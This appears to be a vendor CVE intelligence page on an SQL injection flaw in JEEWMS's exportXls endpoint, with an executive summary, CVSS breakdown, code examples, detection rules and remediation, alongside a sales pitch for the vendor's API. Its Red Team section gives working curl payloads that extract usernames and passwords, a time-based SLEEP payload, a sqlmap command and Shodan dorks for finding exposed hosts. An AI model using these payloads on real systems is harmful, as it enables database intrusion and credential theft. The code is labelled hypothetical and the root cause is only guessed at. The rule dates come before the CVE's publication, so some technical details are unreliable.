☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-60269

CVE-2025-60269 SQL Injection in Jeewms
📅 PUBLISHED: 2025-10-10 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.3× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 20250820
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60269 is a critical SQL Injection vulnerability discovered in JEEWMS, an open-source warehouse management system based on the JEECG framework. The flaw resides in the exportXls function within the CgExportExcelController.java file, specifically in the path src/main/java/org/jeecgframework/web/cgreport/controller/excel/. An unauthenticated attacker can exploit this vulnerability to inject arbitrary SQL commands, leading to unauthorized data access, modification, or deletion. The vulnerability affects version 20250820, and no official patch has been released at the time of analysis. The CVSS score is 0.0 due to incomplete NVD data, but based on the nature of the flaw, the vector is assessed as critical with a score of 9.8.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

JEEWMS is a Java-based application distributed via GitHub and Maven. The vulnerability is in the core source code, not in a third-party package. However, organizations using JEEWMS should verify the integrity of their deployment and monitor for any malicious modifications to the CgExportExcelController.java file. No known supply chain attacks have been reported for this CVE.

CVSS Breakdown & Threat Level

Assessed CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)

  • Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low – No special conditions are required for exploitation.
  • Privileges Required (PR): None – No authentication is needed.
  • User Interaction (UI): None – The attacker does not need to interact with any user.
  • Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High – Full database contents can be read.
  • Integrity (I): High – Data can be modified or deleted.
  • Availability (A): High – Database operations can be disrupted.

Threat Level: Critical. The lack of authentication and the ability to execute arbitrary SQL commands make this a high-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability is located in the exportXls function of CgExportExcelController.java. This function is designed to export data from dynamic reports (cgreport) to Excel files. The flaw arises because user-supplied parameters are directly concatenated into SQL queries without proper sanitization or parameterization.

Root Cause: The exportXls method likely constructs SQL queries using string concatenation with input from HTTP request parameters (e.g., id, field, sql). For example:

String sql = "SELECT * FROM cg_report WHERE id = " + request.getParameter("id");

This allows an attacker to inject SQL commands by providing malicious input, such as:

1' UNION SELECT username,password FROM sys_user --

Attack Flow:

  1. The attacker sends a crafted HTTP GET or POST request to the vulnerable endpoint (e.g., /cgreportController.do?exportXls&id=1' OR '1'='1).
  2. The exportXls function processes the request without sanitizing the id parameter.
  3. The malicious SQL is executed against the database, potentially exposing sensitive data or allowing further exploitation.

Impact: Full database compromise, including extraction of user credentials, business data, and potential lateral movement within the network.

Vulnerable vs. Patched Code

Vulnerable Code (JEEWMS 20250820):

// CgExportExcelController.java (vulnerable)
@RequestMapping(params = "exportXls")
public void exportXls(HttpServletRequest request, HttpServletResponse response) {
    String id = request.getParameter("id");
    String sql = "SELECT * FROM cg_report WHERE id = " + id; // SQL Injection
    // Execute query and export to Excel
}

Patched Code (Hypothetical):

// CgExportExcelController.java (patched)
@RequestMapping(params = "exportXls")
public void exportXls(HttpServletRequest request, HttpServletResponse response) {
    String id = request.getParameter("id");
    // Use parameterized query
    String sql = "SELECT * FROM cg_report WHERE id = ?";
    PreparedStatement ps = connection.prepareStatement(sql);
    ps.setString(1, id);
    // Execute query and export to Excel
}

Key Difference: The patched version uses PreparedStatement with parameterized queries, which prevents SQL injection by treating user input as data, not executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • JEEWMS 20250820 running on a local or remote server.
  • Access to the /cgreportController.do?exportXls endpoint.

Exploitation Steps:

  1. Identify the vulnerable endpoint by scanning for JEEWMS instances (e.g., using Shodan dork jeewms).
  2. Send a crafted request to exploit the SQL injection:
    curl -X GET "http://target.com/cgreportController.do?exportXls&id=1' UNION SELECT username,password FROM sys_user--"
    
  3. The response will contain the exported Excel file with the injected data (e.g., usernames and passwords).
  4. For blind SQL injection, use time-based techniques:
    curl -X GET "http://target.com/cgreportController.do?exportXls&id=1' AND SLEEP(5)--"
    

Automated Exploitation:

  • Use sqlmap for automated exploitation:
    sqlmap -u "http://target.com/cgreportController.do?exportXls&id=1" --batch --dbs
    

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual patterns in the id parameter (e.g., SQL keywords like UNION, SELECT, SLEEP).
  • Deploy a Web Application Firewall (WAF) with rules to block SQL injection attempts.

Honeypot:

  • Set up a decoy JEEWMS instance to capture attacker behavior.

Lab Setup:

  • Use Docker to deploy a vulnerable environment:
    docker pull jeewms/jeewms:20250820
    docker run -d -p 8080:8080 jeewms/jeewms:20250820
    
  • Test exploitation locally before applying patches.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP requests to /cgreportController.do?exportXls with suspicious id parameters containing SQL keywords.
  • Unusual response sizes or Excel files containing database schema information.

File IOCs:

  • Modified CgExportExcelController.java file (if attacker has file access).
  • Unexpected .xls files in the application directory.

Log IOCs:

  • Web server logs showing SQL errors or long execution times (time-based injection).
  • Database logs showing unauthorized queries.

Detection Engineering

YARA Rule

rule CVE_2025_60269_JEEWMS_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting JEEWMS exportXls endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60269"
    strings:
        $s1 = "/cgreportController.do?exportXls" nocase
        $s2 = "id=" nocase
        $s3 = "UNION" nocase
        $s4 = "SELECT" nocase
        $s5 = "SLEEP" nocase
        $s6 = "OR 1=1" nocase
    condition:
        $s1 and $s2 and (any of ($s3, $s4, $s5, $s6))
}

Sigma Rule

title: CVE-2025-60269 JEEWMS SQL Injection Attempt
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against JEEWMS exportXls endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/cgreportController.do?exportXls"
        cs-uri-query|contains: "id="
    keywords:
        - "UNION"
        - "SELECT"
        - "SLEEP"
        - "OR 1=1"
    condition: selection and keywords
falsepositives:
    - Legitimate use of SQL keywords in parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-60269 JEEWMS SQL Injection Attempt"; flow:to_server; content:"/cgreportController.do?exportXls"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|SLEEP|OR\s+1=1)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint: If the exportXls function is not critical, remove or disable the CgExportExcelController.java file.
  2. Apply input validation: Implement strict whitelisting for the id parameter (e.g., only allow numeric values).
  3. Use parameterized queries: Modify the code to use PreparedStatement as shown in the patched code section.

Long-term Fix:

  • Upgrade to a patched version of JEEWMS once available.
  • Conduct a full security audit of the application for similar vulnerabilities.

Workaround:

  • Deploy a WAF with rules to block SQL injection patterns.
  • Restrict network access to the JEEWMS application to trusted IPs only.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

jeewms
jeecg
cgreport

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60269/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.